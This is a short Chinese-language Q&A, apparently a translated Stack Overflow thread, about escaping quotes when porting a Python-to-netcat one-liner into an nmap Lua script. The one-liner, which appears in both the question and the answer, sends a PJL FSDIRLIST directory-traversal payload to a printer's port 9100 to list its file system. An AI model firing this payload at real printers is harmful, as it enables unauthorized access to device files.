我正在尝试使用popen将包含多个引号的字符串传递给netcat。我有一个Python命令工作正常,但我把它变成一个nmap脚本。我对Lua并不熟悉。
Python版本:
python -c 'print "\x1b%-12345X@PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a"' | nc 192.168.0.1 9100
Lua尝试了版本:
local handle = assert(io.popen("python -c 'print \"\x1b%-12345X@PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a\"' | nc " .. host .. " " .. port, "r"))
这会导致以下错误:
File "<string>", line 1
print "2345X@PJL FSDIRLIST NAME="0:\..\..\..\" ENTRY=1 COUNT=999999
有没有办法组织该字符串以便Lua接受它?
答案 0 :(得分:2)
尝试使用长字符串
[[python -c 'print "\x1b%-12345X@PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a"' | nc 192.168.0.1 9100]]